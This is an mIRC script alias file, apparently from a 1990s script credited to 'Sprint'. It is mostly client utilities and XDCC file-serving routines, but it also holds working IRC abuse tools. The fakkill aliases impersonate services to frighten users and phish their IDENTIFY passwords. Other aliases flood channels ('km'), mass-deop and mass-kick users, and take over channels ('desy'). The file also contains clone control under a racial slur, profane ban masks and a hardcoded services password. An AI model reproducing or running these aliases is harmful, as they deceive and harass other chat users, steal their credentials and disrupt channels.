/ScriptServ

[Aliases]
n0=pl {
n1=  %p = 0
n2=  :pl
n3=  inc %p
n4=  if (%p > $chat(0)) { unset %p | halt }
n5=  msg = $+ $chat(%p) < $+ $me $+ > *1
n6=  goto pl
n7=}
n8=plme {
n9=  %p = 0
n10=  :pl
n11=  inc %p
n12=  if (%p > $chat(0)) { unset %p | halt }
n13=  msg = $+ $chat(%p) * $me *1
n14=  goto pl
n15=}
n16=plwho {
n17=  echo 6 $active nick!user@host
n18=  echo 6 $active ==============
n19=  %w = 0
n20=  :w
n21=  inc %w
n22=  if (%w > $chat(0)) { unset %w | halt }
n23=  echo 6 $active $readini %path $+ \who.ini who $chat(%w)
n24=  goto w
n25=}
n26=addpr { set %addpr on | unset %opchannel | set %opchannel $?="channels to op in (type all for all chans)" | if (%opchannel == $null) set %opchannel all | whois $1 }
n27=rempr { set %rempr on | whois $1 }
n28=fakkill60 {
n29=  notice $$1 This nick is owned by someone else. Please choose another.
n30=  notice $$1 If this is your nick, type: /msg $me IDENTIFY <password>.
n31=  notice $$1 You have 60 seconds to comply before I send a nick collide.
n32=}
n33=fakkill40 {
n34=  notice $$1 This nick is owned by someone else. Please choose another.
n35=  notice $$1 You have 40 seconds to comply before I send a nick collide.
n36=}
n37=fakkill20 { 
n38=  notice $$1 This nick is owned by someone else. Please choose another.
n39=  notice $$1 You have 40 seconds to comply before I send a nick collide.
n40=}
n41=getsome { msg nickserv identify monkey | msg Chanserv OP #teen*flurtz $me } 
n42=clonek { dde niggrux1 command "" *1 | dde niggrux2 command "" *1 | dde niggrux3 command "" *1 | dde niggrux4 command "" *1 | dde niggrux5 command "" *1 }
n43=c1c { dde niggrux1 command "" *1 }
n44=km { msg $chan ‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰‰ }
n45=poscan { set %ircopchan $chan | set %ircopchanscanp on | msg $chan %h Listing IRCops On..[12 $+ $chan $+ ] | .who # | }
n46=oscan { set %ircopchan $chan | set %ircoption echo -a | set %ircopchanscan on | %ircoption  %h Listing IRCops On..[12 $+ $chan $+ ] | .who # | }
n47=ubm { msg chanserv unban #teen*flurtz me }
n48=angel { sound angel.wav }
n49=su { sound survival.wav }
n50=sp { msg $chan Using %h By [ $+ Sprint $+ ] [ Owning You In The `97 ] | say Get It At 10Http://www.kalifornia.com/~Sprint/~Sprint.html }
n51=whois { if ($2 != $null) { set %raw msg # | whois $$1 | set %whois on | goto end } | if ($$1 == $me) { set %whois off | whois $me | goto end } | if ((%ident == on) || (%unban == on) || (%remop == on) || (%remv == on) || (%rembot == on) || (%addv == on) || (%addop == on) || (%addb == on) || (%cnt == on) || (%shitter == on) || (%unshitter == on)) { whois $1 | goto end } | if (%whois == on) { whois $1 | goto end } | set %whois on | set %raw echo %c -a | whois $$1 | :end }
n52=loadsys { .load -v %path $+ \variable.ini | .load -a %path $+ \aliases.ini | .load -p %path $+ \popups.ini | .load -u %path $+ \users.ini | .load -c %path $+ \commands.ini | .load -e %path $+ \events.ini | .load -r %path $+ \raw.ini | echo %c -a %h System Loaded. }
n53=wall  { if $me isop # { onotice $chr(91) $+  $+ %wall $+ : $+ # $+ $chr(93) *1 | halt } | set %i 0 | :start | inc %i | %nick = $opnick(%i,#) | if ($opnick(%i,#) == $null) { echo 5 -a -> Ops on # $+ : $chr(91) $+  $+ %wall $+ : $+ # $+ $chr(93) *1 | halt } | raw -q notice %nick : $+ $chr(91) $+  $+ %wall $+ : $+ # $+ $chr(93) *1 | goto start }
n54=wallm { if $me isop # { omsg $chr(91) $+  $+ %wall $+ : $+ # $+ $chr(93) *1 | halt } | set %i 0 | :start | inc %i | %nick = $opnick(%i,#) | if ($opnick(%i,#) == $null) { echo 5 -a -> Ops on # $+ : $chr(91) $+  $+ %wall $+ : $+ # $+ $chr(93) *1 | halt } | raw -q privmsg %nick : $+ $chr(91) $+  $+ %wall $+ : $+ # $+ $chr(93) *1 | goto start }
n55=tb {
n56=  if ($chan($active).mode == $null) set %tbmode none | else set %tbmode $chan($active).mode | if $away == $true titlebar $chr(91) $me $chr(93) $+ $chr(91) $usermode $chr(93) $+ $chr(91) $+ Msgs: $lines(%msgdir) $+ $chr(93) $chr(91) $+ On: $active  ( $+ %tbmode $+ ) $chr(93) $chr(91) $+ Lag: %lag $+ $chr(93) $chr(91) $+ %hours $+ h %minutes $+ m $+ $chr(93) $chr(91) $+ Away: %ahours $+ h %aminutes $+ m $+ $chr(93) 
n57=  if $away == $false titlebar $chr(91) $me $chr(93) $+ $chr(91) $usermode $chr(93) $+  $chr(91) $+ Msgs: $lines(%msgdir) $+ $chr(93) $chr(91) $+ On: $active  ( $+ %tbmode $+ ) $chr(93) $chr(91) $+ Lag: %lag $+ $chr(93) $chr(91) $+ %hours $+ h %minutes $+ m $+ $chr(93) $chr(91) $+ Idle: $duration($idle) $+ $chr(93) | if (($idle > %idle) && ($away == $false) && (%autoaway == on)) away Auto-Away after %idlemins mins
n58=}
n59=ident {
n60=  if ($readini %path $+ \names.txt $1 password == %ipass) goto okay | raw -q notice $1 :Access denied. | halt | :okay | set %iadd $address($1,3) | if %iadd iswm $readini %path $+ \names.txt $1 hostmask { raw -q notice $1 :I recognize you there. | halt } | if ($readini %path $+ \names.txt $1 hostmask == $null) { writeini %path $+ \names.txt $1 hostmask %iadd | raw -q notice $1 :Added hostmask: %iadd | writeini %path $+ \names.txt Users %iadd $1 | if ($readini %path $+ \names.txt $1 flags == op) adduser $1 40
n61=  if ($readini %path $+ \names.txt $1 flags != op) adduser $1 30 | goto end } | set %oldhost $readini %path $+ \names.txt $1 hostmask | writeini %path $+ \names.txt $1 hostmask %oldhost $+ %iadd | raw -q notice $1 :Added hostmask: %iadd | writeini %path $+ \names.txt Users %iadd $1 | if ($readini %path $+ \names.txt $1 flags == op) adduser $1 40 | if ($readini %path $+ \names.txt $1 flags != op) adduser $1 30 | :end
n62=}
n63=online {
n64=  inc %pong | if (%pongi // %pong) { set %pongtime $ctime | set %lagstat on | raw -q ping $me } | %total = $ctime - %signon | set %hours 0 | set %minutes 0 | set %seconds 0 | :start | if (%total < 60) goto secs | if ((%total >= 60) && (%total < 3600)) goto mins | %hours = %total / 3600 | %total =  %total % 3600 | goto start | :mins | %minutes = %total / 60 | %total = %total % 60 | goto start | :secs | %seconds = %total | if ($len(%seconds) == 1) %seconds = 0 $+ %seconds | if ($len(%minutes) == 1) %minutes = 0 $+ %minutes 
n65=  if ($away == $true) { %atotal = $ctime - %awaytime | set %ahours 0 | set %aminutes 0 | :begin | if (%atotal < 60) goto done | if ((%atotal >= 60) && (%atotal < 3600)) goto amins | %ahours = %atotal / 3600 | %atotal =  %atotal % 3600 | goto begin | :amins | %aminutes = %atotal / 60 | :done | if ($len(%aminutes) == 1) %aminutes = 0 $+ %aminutes } | tb | clock
n66=}
n67=dcc {
n68=  if ($1 == send) { dcc send *2 | halt } | if ($1 == chat) { dcc chat *2 | halt } | if (($send(0) == 0) && ($get(0) == 0)) { echo %c -a %h Nothing on DCC list. | halt } | echo %c -a %h 1, $+ %c3 $+ Dnum    Type    Nick       Status    Kps     Filename    | if ($get(0) == 0) { set %i 1 | goto send } | if ($send(0) == 0) set %anysends no | set %i 0 | :start | inc %i | unset %barl | if (%i > $get(0)) goto send | %cpsget = $kps($get(%i).cps) | if (($get(%i).cps == n/a) || ($get(%i).cps == 0)) { set %cpsget 0.00 | set %geta4 n/a | goto get1 } | set %geta1 0 | set %geta2 0 | set %geta3 0 | %geta = $get(%i).size - $get(%i).rcvd | %geta = %ge
n69=  :etag | if (%geta < 60) goto sec | if ((%geta >= 60) && (%geta < 3600)) goto min | %geta3 = %geta / 3600 | %geta = %geta % 3600 | goto etag | :min | %geta2 = %geta / 60  | %geta = %geta % 60  | goto etag | :sec | if (%geta != 0) set %geta1 %geta | if ((%geta1 >= 0) && (%geta1 < 10)) %geta1 = 0 $+ %geta1 | if ((%geta2 >= 0) && (%geta2 < 10)) %geta2 = 0 $+ %geta2 | %geta4 = %geta3 $+ : $+ %geta2 $+ : $+ %geta1 | :get1 | echo %c -a         # $+ %i       GET     $get(%i)     $get(%i).status    %cpsget     $get(%i).file | %barl = $get(%i).pc + 1
n70=  echo %c -a $read -l $+ %barl %path $+ \dccstat.txt $get(%i).pc $+ %  ETA %geta4 ( $+ %c2 $+ $get(%i).rcvd $+  of  $+ %c3 $+ $get(%i).size $+  bytes) | goto start | :send | dec %i | set %j 0 | :begin | inc %j | inc %i | unset %barl | if (%j > $send(0)) goto end | %cpssend = $kps($send(%j).cps) | if (($send(%j).cps == n/a) || ($send(%i).cps == 0)) { set %cpssend 0.00 | set %geta4 n/a | goto send1 } | set %geta1 0 | set %geta2 0 | set %geta3 0 | %geta = $send(%j).size - $send(%j).sent | %geta = %geta / $send(%j).cps | :etas | if (%geta < 60) goto secs | if ((%geta >= 60) && (%geta < 3600)) goto mins | %geta3 = %geta / 3600 | %geta = 
n71=  :mins | %geta2 = %geta / 60  | %geta = %geta % 60 | goto etas | :secs | if (%geta != 0) set %geta1 %geta | if ((%geta1 >= 0) && (%geta1 < 10)) %geta1 = 0 $+ %geta1 | if ((%geta2 >= 0) && (%geta2 < 10)) %geta2 = 0 $+ %geta2 | %geta4 = %geta3 $+ : $+ %geta2 $+ : $+ %geta1 | :send1 | echo %c -a         # $+ %i      SEND    $send(%j)    $send(%j).status    %cpssend    $send(%j).file | %barl = $send(%j).pc + 1 | echo %c -a $read -l $+ %barl %path $+ \dccstat.txt $send(%j).pc $+ %  ETA %geta4 ( $+ %c2 $+ $send(%j).sent $+  of  $+ %c3 $+ $send(%j).size $+  bytes) | goto begin | :end 
n72=}
n73=sdcc {
n74=  %numopen = %maxslots - $send(0) | set %num 0 | :start | inc %num | if (%num > %numpacks) { if (%showsum != y) halt | if (%showsum == y) { set %g 0 | set %totalmegs 0 | set %tlmegs 0 | :begin | inc %g | if (%g <= %numpacks) { %tmegs = %get [ $+ [ %g ] ] * $lof(%file [ $+ [ %g ] ] ) | inc %tlmegs %tmegs | %omegs = $lof(%file [ $+ [ %g ] ] ) | inc %ofmegs %omegs | goto begin } | %totalmegs = %tlmegs / 1000000 | %totalmegs1 = %tlmegs % 1000000 | %totalmegs = %totalmegs $+ . $+ $left(1,%totalmegs1) | %xc Total Offered:  $+ %tmo2 $+ M Total Snagged:  $+ %totalmegs $+ M } | set %xdcc open | halt }
n75=  if ((%num == 1) && (%msall == on)) { %aspeed = %allspeed / 1000 | %xc ** %numpacks packs **   $+ %numopen $+  of  $+ %maxslots $+  slots open, queue:  $+ $lines(%qpath) $+ / $+ %maxqueue $+ . Min:  $+ %aspeed $+ kb/s, Record:  $+ %record $+ kb/s } | if ((%num == 1) && (%msall != on)) %xc ** %numpacks packs **   $+ %numopen $+  of  $+ %maxslots $+  slots open, queue:  $+ $lines(%qpath) $+ / $+ %maxqueue $+ . Record:  $+ %record $+ kb/s | %xc # $+ %num $+  %get [ $+ [ %num ] ] $+ x [ $+ $fsize(%num) $+ %bc $+ ] %filedesc [ $+ [ %num ] ] 
n76=  if (%fcomment [ $+ [ %num ] ] == $null) goto start | %xc  ^- %fcomment [ $+ [ %num ] ] | goto start
n77=}
n78=checkspeed { 
n79=  set %i 0 | :start | inc %i | if ($send(%i) == $null) halt | if ($send(%i) == $1) && ($send(%i).file == $2) {
n80=    if ($send(%i).status == waiting) { raw -q notice $1 :You have DCCs pending. Type /DCC GET $me $+ . | .timer 1 30 checkspeed *1 | halt } | if ($send(%i).cps < $3) { %mstime = $send(%i).cps / 1000 | %msspeed = $3 / 1000 | close -s $1 $2 | raw -q notice $1 :MINSPEED: %mstime $+ kb/sec less than %msspeed $+ kb/sec: Closing connection. | halt }
n81=  }
n82=  goto start 
n83=}
n84=timelimit %chsend = 60 * $$1
n85=maxslots set %maxslots $$1
n86=qmax set %maxqueue $$1
n87=ptime %tc = $$1 * 60
n88=pchannels .timer 0 %tc plist $?="enter channel to send plist to (cancel for all):" 
n89=poff { .timers off | .timer1 0 60 online | if ($away == $false && %autoaway == on) .timer101 0 450 whois $me }
n90=psend { if ($2 > %numpacks) halt | raw -q notice $1 :Sending you %filedesc [ $+ [ $2 ] ] $+ , which is one file. | inc %get [ $+ [ $2 ] ] | .timer 1 %chsend checksend $1 [ $nopath(%file [ $+ [ $2 ] ] ) ] | dcc send $1 [ %file [ $+ [ $2 ] ] ] }
n91=fsize { if ($lof(%file [ $+ [ %num ] ] ) < 1000) { %fsize = $lof(%file [ $+ [ %num ] ] ) | set %bc b } | if (($lof(%file [ $+ [ %num ] ] ) >= 1000) && ($lof(%file [ $+ [ %num ] ] ) < 1000000)) { %fsize = $lof(%file [ $+ [ %num ] ] ) / 1000 | set %bc k } | if ($lof(%file [ $+ [ %num ] ] ) > 1000000) { %fsize = $lof(%file [ $+ [ %num ] ] ) / 1000000 | %fsize1 = $lof(%file [ $+ [ %num ] ] ) % 1000000 | %fsize = %fsize $+ . $+ $left(1,%fsize1) | set %bc M } | return %fsize }
n92=fstats { .play -ctfserve %path $+ \util.txt 0 }
n93=relsm { if ($1 != $null) msg $1 %msgsent | else msg $active %msgsent }
n94=rdmc { set %c $rand(1,15) | set %c2 $rand(10,25) | set %c3 $rand(10,25) | ch | echo %c -a %h Primary   $+ %c3 $+ Secondary   $+ %c2 $+ Highlight  }
n95=tban { if ($1 == $null) { write -c %path $+ \tban.txt | echo %c -a %h List of Bans for  $+ %c2 $+ # $+  | set %showbans on | set %bansno 0 | mode # b } | else { %rtban = $read -l $+ $1 %path $+ \tban.txt | mode # -b %rtban | echo %c -a %h Ban ( $+ %c2 $+ %rtban  $+ ) removed from  $+ %c2 $+ # $+ . } | :end }
n96=relm { if ($1 != $null) msg $1 %msgrec | else msg $active %msgrec }
n97=reln { if ($1 != $null) msg $1 %notrec | else msg $active %notrec }
n98=fuser { .rlevel -r 2,3,4 | .flush }
n99=wholeft .play -c %path $+ \wholeft.txt 0
n100=clban { if ($me isop #) { set %clearbans on | mode # b } | :end }
n101=j { set %jointime $ticks | raw -q join #$$1 *2 }
n102=join { set %jointime $ticks | raw -q join #$$1 $2 }
n103=cycle { set %chankey $chan(#).key | raw -q part # | j # %chankey | unset %chankey }
n104=w whois $1
n105=wi whois $1
n106=rt { set %rtopic $read [ %drive $+ :\ $+ [ %dir ] $+ \text\sp.txt ] | topic # $remove(%rtopic,$left(14,%rtopic)) }
n107=cw whois $$1
n108=i { if ($parm2 == $null) invite $$1 # | else invite $$1 #$$2 }
n109=back { if ($1 == $null) ame has returned. | else ame is back,  $+ *1 $+ . | away }
n110=k kick # $$1 *2
n111=q query $$1
n112=kb { if ($2 == $null) kick # $1 %shitkick | else kick # $1 *2 | ban # $1 3 }
n113=bk { ban # $1 3 | if ($2 == $null) kick # $1 %shitkick | else kick # $1 *2 }
n114=idpass { unset %upass | %upass = $readini %path $+ \names.txt passwords $1 | return %upass }
n115=op mode # +oooo $$1 $2 $3 $4
n116=dop mode # -oooo $$1 $2 $3 $4
n117=v  mode # +vvvv $$1 $2 $3 $4
n118=dv mode # -vvvv $$1 $2 $3 $4
n119=t topic # *1
n120=shutup { set %shutup on | set %reason $$?="Reason:" | whois $1 | say $1 I Have A [10Shut-Up Kick] On You Because:10 $+ %reason $+  }
n121=unshut { set %unshut on | whois $1 | say $1 I Have Removed [10Shut-Up Kick] From You : You mAy Now Talk }
n122=  shit { set %shitter on | set %reason $$?="Reason:" | whois $1 }
n123=  unshit { set %unshitter on | whois $1 }
n124=  ver { if ($1 == $null) { ctcp $active version | halt } | ctcp $1 version }
n125=  cq { write -c %qpath | write -c %qpath1 }
n126=  ping { if ($1 == $null) { ctcp $active ping | halt } | ctcp $1 ping }
n127=  b say  $+ *1 $+ 
n128=  rc say  $+ $rand(1,15) $+ , $+ $rand(1,15) $+ *1 $+ 
n129=  color play -ctcolorbar %path $+ \util.txt 0
n130=  u say  $+ *1 $+ 
n131=  opz /onotice [ $+ N $+ ] $+ [ $+ # $+ ] $+ [ $+ Z $+ ] : *1
n132=  oppw { %popnck = $readini %path $+ \names.txt Users $address($1,3) | if ($readini %path $+ \names.txt %popnck password == $2) return 1 | else return 0 }
n133=  atop { %popnck = $readini %path $+ \names.txt Users $address($1,3) | %pspnck = $readini %path $+ \names.txt %popnck opchannel | if (($2 isin %pspnck) || (%pspnck == all)) return 1 | else return 0 }
n134=  r say  $+ *1 $+ 
n135=  c say  $+ $$1 $+ *2 $+ 
n136=  pstats { .play -ctaway %path $+ \util.txt 500 | .play -ctpersonal %path $+ \util.txt 500 | .play -ctprograms %path $+ \util.txt 500 | .play -ctchannel %path $+ \util.txt 500 | .play -ctflood %path $+ \util.txt 500 | .play -ctfriends %path $+ \util.txt 500 | .play -ctmisc %path $+ \util.txt 500 } 
n137=  unidle { part %idlechan | timer100 off }
n138=  addop { set %addop on | unset %opchannel | set %opchannel $?="channels to op in (type all for all chans)" | if (%opchannel == $null) set %opchannel all | whois $1 }
n139=  addv { set %addv on | whois $1 }
n140=  addbot { set %addb on | unset %opchannel | set %opchannel $?="channels to op in (type all for all chans)" | if (%opchannel == $null) set %opchannel all | whois $1 }
n141=  remop { set %remop on | whois $1 }
n142=  remv { set %remv on | whois $1 }
n143=  rembot { set %rembot on | whois $1 }
n144=  msg { set %msgsent (msg( $+ $1 $+ )) *2 | msg *1 }
n145=  sv amsg %h $+ v1.0 $+ %uses $+ +ctmIRC472
n146=  dcd { %cd = $replace($remove($1,$left(2,$1)),\,/) $+ / | return %cd }
n147=  deluser { if ($readini %fspath $1 password != $null) remini %fspath passwords [ $readini %fspath $1 password ] | remini %fspath $1 | write -d %path $+ \fusers.txt $1 | remini %fspath UsersUsers $1 }
n148=  cps { %cps = $readini %fspath $1 cps | return %cps }
n149=  kps { if ($len($1) > 3) %cpsget = $remove($1,$right(3,$1)) $+ . $+ $left(2,$right(3,$1)) | else %cpsget = 0 $+ . $+ $1 | return %cpsget }
n150=  F3 run $readini %path $+ \mirc.ini Files Browser
n151=  F4 run %explorer
n152=  F5 run %textedit
n153=  F6 run %win $+ \command.com 
n154=  F7 run notepad %path $+ \msg.txt
n155=  F8 { write -c %path $+ \msg.txt | write -c %path $+ \msgcntr.ini | write %path $+ \msgcntr.ini [mPopup] | write %path $+ \msgcntr.ini mp0=Load [V]ertig[o]:/.load -p %path $+ \popups.ini | write %path $+ \msgcntr.ini mp1=- | set %nummsg 1 | set %msgno 2 | echo %c -a %h All messages have been deleted. | tb }
n156=  F9 { close -m }
n157=  F10 { writeini %path $+ \split.ini mIRC host split2SERVER: $+ %split2 $+ :6667 | run $mircdir $+ mirc32.exe %path $+ \split.ini }
n158=  F11 %kkchan
n159=  F12 %kchan
n160=  SF1 massdop
n161=  fakop { mode $chan +o $$1 | /k $$1 There You Had Ops }
n162=  quit { quit 1[N]1 $+ *1 $+ 1[X] }
n163=  colors { echo $active [Colors] 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9 10 10 11 11 12 12 13 13 }
n164=  desy { topic $chan ::.Sprint.:: DesynChin You Now ::.Sprint.:: | mode # +stinmlk 1 dimensi0n | mode # +b *.*@Comming.To.Get.You | mode # +b *.*@bow.down.dick.head | mode # +b *.*@Sprint.r0x.yew.n0w | mode # +b *.*!!.dsa.@hey.mang.die.bitch | mode # +b *.*@cunt.smackin.funn | mode # +b *.*@sdf.sdf.sdf.sdf.s.dfs.df.sf.sdf.sd | mode # +bbb *.*@=].=).=P jkshd@jkhas rest@in.peace | mode # +bbb 25@26a 24@25 32@23 | mode # +bbb 23@45 34@65 54@34 | mode # +bbb 12@13 14@15 13@16 | mode # +bbb lkj@lkj r@pp r@kjh | topic $chan .x(.::Sprint::. Desynch Complete %100 Done...x(.::Sprint::.)x. | }
n165=  massdop { :massd | inc %massd | inc %opn | if ($opnick(%opn,#) == $me) { inc %opn } | if ($opnick(%opn,#) == $null) { mode # -oooo %massdn | unset %massdn | unset %massd | unset %opn | halt } | set %massdn %massdn $opnick(%opn,#) | if (%massd == 4) { mode # -oooo %massdn | unset %massdn | unset %massd } | goto massd | }
n166=  mm { set %i 0 | :start | inc %i | if ($nick(%i,#) == $null) { echo 5 -a -> *users $+ : $+ # $+ * *1 | halt } | if ($nick(%i,#) == $me) goto start | raw -q privmsg $nick(%i,#) : $+ *1 | goto start }
n167=  mk { if ($me !isop #) halt | set %i 0 | :start | inc %i | if ($nick(%i,#) == $null) halt | if ($nick(%i,#) == $me) goto start | kick # $nick(%i,#) %roomkick | goto start }
n168=  checksend { set %i 0 | :start | inc %i | if ($send(%i) == $null) halt | if (($send(%i) == $1) && ($send(%i).file == $2) && ($send(%i).status == waiting)) { close -s $1 $2 | raw -q notice $1 :Timeout: $2 | echo %c -a %h One or more DCC SENDs to $1 have timed out. | halt } | goto start }
n169=  pmin { if (($1 == $null) || ($2 == $null) || ($1 > %numpacks)) halt | if ($2 == 0) { unset %minsp [ $+ [ $1 ] ] | echo %c -a %h Removed minspeed for  $+ %c2 $+ $1 $+ . | halt } | set %minsp [ $+ [ $1 ] ] [ $2 * 1000 ] | echo %c -a %h Minspeed for Pack $1 $+ :  $+ %c2 $+ $2 $+ kb/s. }
n170=  minspeed { if ($1 == $null) halt | if ($1 == 0) { set %msall off | unset %allspeed | halt } | set %msall on | %allspeed = $1 * 1000 | echo %c -a %h Minspeed:  $+ %c2 $+ $1 $+ kb/s. } 
n171=  addban { if ($1 == $null) { echo %c -a %h Usage: /addban <hostmask> | halt } | if (%reason == $null) set %reason $$?="Reason:" | writeini %path $+ \enemies.txt $1 reason %reason | writeini %path $+ \enemies.txt $1 date $mid(5,3,$fulldate) $+ $mid(9,2,$fulldate) | unset %reason | .auser =20 $1 | ckick $ial($1,1).nick | cban $ial($1,1).nick | echo %c -a %h Shitted on  $+ %c2 $+ $1 $+  successfully. }
n172=  remban { if ($1 == $null) { echo %c -a %h Usage: /remban <hostmask> | halt } | if (*! !isin $left(2,$1)) %unshitadd = *! $+ $1 | else set %unshitadd $1 | if ($maddress(%unshitadd) == $null) { echo %c -a %h No such user  $+ %c2 $+ $1 $+  | halt } | remini %path $+ \enemies.txt $maddress(%unshitadd) | .ruser =20 $maddress(%unshitadd) | echo %c -a %h Ban on  $+ %c2 $+ %unshitadd $+  has been removed. }
n173=  tmo { set %i 0 | set %tmo 0 | :start | inc %i | if (%file [ $+ [ %i ] ] == $null) goto next | %tmo = %tmo + $lof(%file [ $+ [ %i ] ] ) | goto start | :next | %tmo2 = %tmo / 1000000 | %tmo1 = %tmo % 1000000 | %tmo2 = %tmo2 $+ . $+ $left(1,%tmo1) | halt }
n174=  knop { if ($me !isop #) halt | set %i 0 | :start | inc %i | %nick = $nopnick(%i,#) | if (%nick == $null) halt | if (%nick == $me) goto start | kick # %nick %nonopkick | goto start }
n175=  lsay { /e $$1 | /msg $chan %encrypt | }
n176=  mop { if ($me !isop #) halt | set %i 0 | set %nicks | set %j 0 | :start | inc %i | %nick = $nopnick(%i,#) | if (%nick == $null) { mode # +oooo %nicks | halt } | if (%nick == $me) goto start | set %nicks %nicks %nick | inc %j | if (%j == 4) { mode # +oooo %nicks | set %j 0 | set %nicks } | goto start }
n177=  mv { if ($me !isop #) halt | set %i 0 | set %nicks | set %j 0 | :start | inc %i | %nick = $nvnick(%i,#) | if (%nick == $null) { mode # +vvvv %nicks | halt } | if (%nick == $me) goto start | set %nicks %nicks %nick | inc %j | if (%j == 4) { mode # +vvvv %nicks | set %j 0 | set %nicks } | goto start }
n178=  mdop { if ($me !isop #) halt | set %i 0 | set %nicks | set %j 0 | :start | inc %i | %nick = $opnick(%i,#) | if (%nick == $null) { mode # -oooo %nicks | halt } | if (%nick == $me) goto start | set %nicks %nicks %nick | inc %j | if (%j == 4) { mode # -oooo %nicks | set %j 0 | set %nicks } | goto start }
n179=  mdv { if ($me !isop #) halt | set %i 0 | set %nicks | set %j 0 | :start | inc %i | %nick = $vnick(%i,#) | if (%nick == $null) { mode # -vvvv %nicks | halt } | if (%nick == $me) goto start | set %nicks %nicks %nick | inc %j | if (%j == 4) { mode # -vvvv %nicks | set %j 0 | set %nicks } | goto start }
n180=  listclones { unset %add | set %i 0 | set %j 0 | echo %c -a %h Listing Clones on  $+ %c2 $+ # $+  | :start | inc %j | if ($nick(%j,#) == $null) { echo %c -a %h Number of Clones:  $+ %c2 $+ %i $+  | halt } | %cladd = $address($nick(%j,#),1) | if (%cladd isin %add) { inc %i | echo %c -a %h [Clone  $+ %c2 $+ %i $+ ]  $+ %c2 $+ $nick(%j,#) $+  $address($nick(%j,#),0) | goto start } | set %add %add %cladd | goto start }
n181=  clock { set %time2 $token(1,58,$time) | set %time3 $token(2,58,$time) | if (%time2 < 12) %time1 = %time2 $+ : $+ %time3 $+ AM | if (%time2 == 0) %time1 = 12: $+ %time3 $+ AM | if (%time2 > 12) { set %time2 [ %time2 - 12 ] | %time1 = %time2 $+ : $+ %time3 $+ PM } | if ((?:00?M iswm %time1) || (?:30?M iswm %time1) && (%lastclock != %time1)) { set %lastclock %time1 | if (%clockchan == on) amsg The time is now  $+ %time1 $+  %tz | if (%clockchan == off) echo %c -a %h The time is now  $+ %c2 $+ %time1 $+ . } | :end }
n182=  ia { set %i 0 | :start | inc %i | if (%i > $channel(0)) goto end | if $me isop $channel(%i) invite $1 $channel(%i) | goto start | :end }
n183=  tdcc { set %i 0 | :start | inc %i | if (%dcc [ $+ [ %i ] ] != $null) goto start | set %dcc [ $+ [ %i ] ] $1 $+ ¢ $+ $2 $+ ¢ $+ $3 }
n184=  away { unset %knowaway | if ($1 == $null) { unset %awaytime | set %away off | if (%autoaway == on) .timer101 0 450 whois $me | away | .timer100 off | if ($lines(%msgdir) > 0) run notepad %msgdir | goto end } | .timer101 off | set %awaytime $ctime | set %away on | away [ $+ *1 $+ ]  [ $+ 12Gone $day  %time1 $+ ] | if (%msglog == on) ame Is [ $+ Away $+ ] $+ [ $+ *1 $+ ] $+ [ $+ MsgLog:On $+ ] $+ [ $+ $replace($adate,/,-) %time1 $+ ] | :end | }
n185=  cleanup { if ($me !isop # || $me !isop $1) halt | set %cleanchan on | if ($1 == $null) { who # | goto end } | who $1 | :end } 
n186=  bancheck { set %i 0 | :start | inc %i | if ($nick(%i,$1) == $null) halt | if $2 iswm $address($nick(%i,$1),0) kick $1 $nick(%i,$1) Banned by $3 | goto start }
n187=  d.chanserv.login {
n188=    if ($token(0,44,%chanserv) != $null) {
n189=      %count = $token(0,44,%Chanserv)
n190=      :identifyChan
n191=      %chanparm = $token(%count,44,%Chanserv)
n192=      msg chanserv identify %chanparm 
n193=      dec %count
n194=      if (%count > 0) goto identifyChan
n195=    }
n196=  }
n197=  d.nickserv.login {
n198=    if ($token(0,44,%NickServ) != $null) {
n199=      %count = $token(0,44,%NickServ)    
n200=      :identifyNick
n201=      %nickparms = $token(%count,44,%NickServ)
n202=      if ($me isin %nickparms) { 
n203=        msg NickServ identify $remove(%nickparms,$me) 
n204=      }
n205=      dec %count
n206=      if (%count > 0) goto identifyNick
n207=    }
n208=  }
n209=  counter %temp = $ctime - $$1 | return %temp
n210=  idle { set %idlechan #i $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) | join %idlechan | .timer 1 10 mode %idlechan +mnstil 1 | .timer100 0 300 msg %idlechan . }
n211=  adcc { guser 25 $1 3 | .timer 1 300 .ruser 25 $1 3 | raw -q notice $1 :You may now chat or send me any file for the next 5 minutes. }
